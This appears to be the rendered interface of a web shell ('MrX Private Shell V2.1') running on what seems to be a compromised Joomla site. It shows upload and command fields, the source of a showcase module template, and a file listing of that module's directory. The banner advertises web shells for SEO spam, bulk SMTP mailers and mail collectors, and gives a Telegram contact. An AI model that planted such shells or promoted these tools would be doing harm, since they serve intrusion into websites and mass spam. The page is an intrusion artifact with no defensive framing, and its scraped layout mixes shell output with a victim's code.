__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * 
 * @version             See field version manifest file
 * @package             See field name manifest file
 * @author				Gregorio Nuti
 * @copyright			See field copyright manifest file
 * @license             GNU General Public License version 2 or later
 * 
 */

// no direct access
defined('_JEXEC') or die;

// define ds variable for joomla 3 compatibility
if(!defined('DS')) define('DS', DIRECTORY_SEPARATOR);

// be sure to avoid link error
if (is_null($linkAlias)) { 
    $linkAlias = 1;
}
if (is_null($linkCategory)) { 
    $linkCategory = 1;
}
if (is_null($linkItem)) { 
    $linkItem = 1;
}

// get sef settings from joomla
$sef = $conf->get('sef') ? '1' : '0';
$rewrite = $conf->get('sef_rewrite') ? '1' : '0';
$urlSuffix = $conf->get('sef_suffix') ? '1' : '0';
$unicodeAlias = $conf->get('unicodeslugs') ? '1' : '0';

// add css style
$document = JFactory::getDocument();
if (!empty($moduleCss)) {
	$document->addStyleDeclaration('
		#digi_showcase_'.$moduleId.' {
			'.$moduleCss.'
		}
	');
}
if (!empty($itemsCss)) {
	$document->addStyleDeclaration('
		#digi_showcase_'.$moduleId.' .showcase-item {
			'.$itemsCss.'
		}
	');
}
if ($backgroundOverlay == 1) {
	$document->addStyleDeclaration('
		#digi_showcase_'.$moduleId.' .overlay .item-content {
			opacity: '.$backgroundOverlayContentOpacity.';
			transition: opacity '.$backgroundOverlayTransition.'s, color '.$backgroundOverlayTransition.'s;
		}
		#digi_showcase_'.$moduleId.' .overlay:hover .item-content {
			opacity: 1;
		}
	');
}
if ($backgroundOverlay == 1 && $mode != 4) {
	$document->addStyleDeclaration('
		#digi_showcase_'.$moduleId.' .overlay {
			background-image: none;
			background-color: rgba('.Digi_Showcase_Helper::hexToRgb($backgroundOverlayColor).$backgroundOverlayOpacity.');
			transition: background-color '.$backgroundOverlayTransition.'s;
		}
		#digi_showcase_'.$moduleId.' .overlay:hover {
			background-color: rgba(0, 0, 0, 0);
		}
		#digi_showcase_'.$moduleId.' .overlay:not(:hover) *:not(.item-content) {
			color: '.$backgroundOverlayTextColor.';
			transition: color '.$backgroundOverlayTransition.'s;
		}
	');
}
if ($background == 1 && $backgroundType == 1) {
	$document->addStyleDeclaration('
		#digi_showcase_'.$moduleId.' .showcase-item {
			background-size: cover;
			background-position: center;
			background-repeat: no-repeat;
		}
	');
}
if ($modulePadding) {
	$document->addStyleDeclaration('
		#digi_showcase_'.$moduleId.' {
			padding-top: '.$modulePaddingTop.'px;
			padding-right: '.$modulePaddingRight.'px;
			padding-bottom: '.$modulePaddingBottom.'px;
			padding-left: '.$modulePaddingLeft.'px;
		}
	');
}
if ($itemsPadding && $backgroundOverlay == 0 && $mode != 2) {
	$document->addStyleDeclaration('
		#digi_showcase_'.$moduleId.' .showcase-item {
			padding-top: '.$itemsPaddingTop.'px;
			padding-right: '.$itemsPaddingRight.'px;
			padding-bottom: '.$itemsPaddingBottom.'px;
			padding-left: '.$itemsPaddingLeft.'px;
		}
	');
} else if ($itemsPadding && $backgroundOverlay == 1 && $mode != 2) {
	$document->addStyleDeclaration('
		#digi_showcase_'.$moduleId.' .showcase-item .overlay {
			padding-top: '.$itemsPaddingTop.'px;
			padding-right: '.$itemsPaddingRight.'px;
			padding-bottom: '.$itemsPaddingBottom.'px;
			padding-left: '.$itemsPaddingLeft.'px;
		}
	');
}
if ($showFilter && $filterMarginWrapper) {
	$document->addStyleDeclaration('
		#digi_showcase_'.$moduleId.' #digi_showcase_filter {
			margin-top: '.$filterMarginWrapperTop.'px;
			margin-right: '.$filterMarginWrapperRight.'px;
			margin-bottom: '.$filterMarginWrapperBottom.'px;
			margin-left: '.$filterMarginWrapperLeft.'px;
		}
	');
}
if ($showFilter && $filterMarginItems) {
	$document->addStyleDeclaration('
		#digi_showcase_'.$moduleId.' #digi_showcase_filter > li {
			margin-top: '.$filterMarginItemsTop.'px;
			margin-right: '.$filterMarginItemsRight.'px;
			margin-bottom: '.$filterMarginItemsBottom.'px;
			margin-left: '.$filterMarginItemsLeft.'px;
		}
	');
}

// define module class
if ($mode == 0) {
	$moduleClass = 'digi_showcase default';
} else if ($mode == 1) {
	$moduleClass = 'digi_showcase carousel';
} else if ($mode == 2) {
	$moduleClass = 'digi_showcase timeline';
} else if ($mode == 3) {
	$moduleClass = 'digi_showcase sphere';
} else if ($mode == 4) {
	$moduleClass = 'digi_showcase masonry';
}

?>

<div id="digi_showcase_<?php echo $moduleId; ?>" class="<?php echo $moduleClass; ?>">

    <?php if (isset($introText)) { ?>
        <p id="digi_showcase_introtext" class="lead"><?php echo $introText; ?></p>
        <hr />
    <?php } ?>
    
	<?php
		if ($mode == 0) {
			require JModuleHelper::getLayoutPath('mod_digi_showcase', $params->get('layout', 'default') . '_items');
		} else if ($mode == 1) {
			require JModuleHelper::getLayoutPath('mod_digi_showcase', $params->get('layout', 'default') . '_carousel');
		} else if ($mode == 2) {
			require JModuleHelper::getLayoutPath('mod_digi_showcase', $params->get('layout', 'default') . '_timeline');
		} else if ($mode == 3) {
			require JModuleHelper::getLayoutPath('mod_digi_showcase', $params->get('layout', 'default') . '_sphere');
		} else if ($mode == 4) {
			require JModuleHelper::getLayoutPath('mod_digi_showcase', $params->get('layout', 'default') . '_masonry');
		}
	?>
    
</div>

Filemanager

Name Type Size Permission Actions
default.php File 5.15 KB 0664
default_carousel.php File 3.79 KB 0664
default_items.php File 2.55 KB 0664
default_masonry.php File 15.54 KB 0664
default_sphere.php File 3.12 KB 0664
default_timeline.php File 10.66 KB 0664
index.html File 31 B 0664
Filemanager